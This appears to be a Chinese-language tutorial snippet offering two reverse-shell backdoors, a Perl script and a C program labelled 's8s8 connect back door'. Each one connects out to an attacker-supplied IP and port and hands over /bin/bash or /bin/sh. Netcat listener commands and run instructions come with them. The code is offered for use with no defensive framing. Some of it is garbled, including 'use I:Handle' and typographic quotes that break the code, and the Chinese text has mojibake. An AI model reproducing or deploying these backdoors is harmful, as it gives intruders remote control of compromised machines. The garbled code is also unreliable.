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#!/usr/bin/perl -w
#
use strict;
use Socket;
use I:Handle;
if($#ARGV+1 != 2){
print “$#ARGV $0 Remote_IP Remote_Port \n”;
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname(“tcp”);
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = ‘/bin/bash -i’;
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die “can not connect:$!”;
open STDIN, “<&SOCK”;
open STDOUT, “>&SOCK”;
open STDERR, “>&SOCK”;
print “Enjoy the shell.\n”;
system($shell);
close SOCK;
exit 0;
本機(jī)執(zhí)行netcat.命令
nc -l -p 8080 -vv
遠(yuǎn)程:
./tcp.pl yourip 8080
perl和bash路徑要自己修改,不過(guò)一般不用修改的.
文件改為755再運(yùn)行.否則執(zhí)行不起來(lái)
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
void usage();
char shell[]=”/bin/sh”;
char message[]=”s8s8 welcome\n”;
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf(“Couldn’t make socket!\n”); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf(“Could not connect to remote shell!\n”);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,”/bin/sh”,(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf(“\t\ts8s8 connect back door\n\n”);
printf(“\t sql@s8s8.net\n\n“);
printf(“Usage: %s <reflect ip> <port>\n”, prog);
exit(-1);
}
gcc -o f f.c
再在本機(jī)上監(jiān)聽(tīng)一個(gè)端口
nc -l -p 8888
再執(zhí)行./f 192.168.1.14 8888
注:反彈回來(lái)的 shell沒(méi)提示符。
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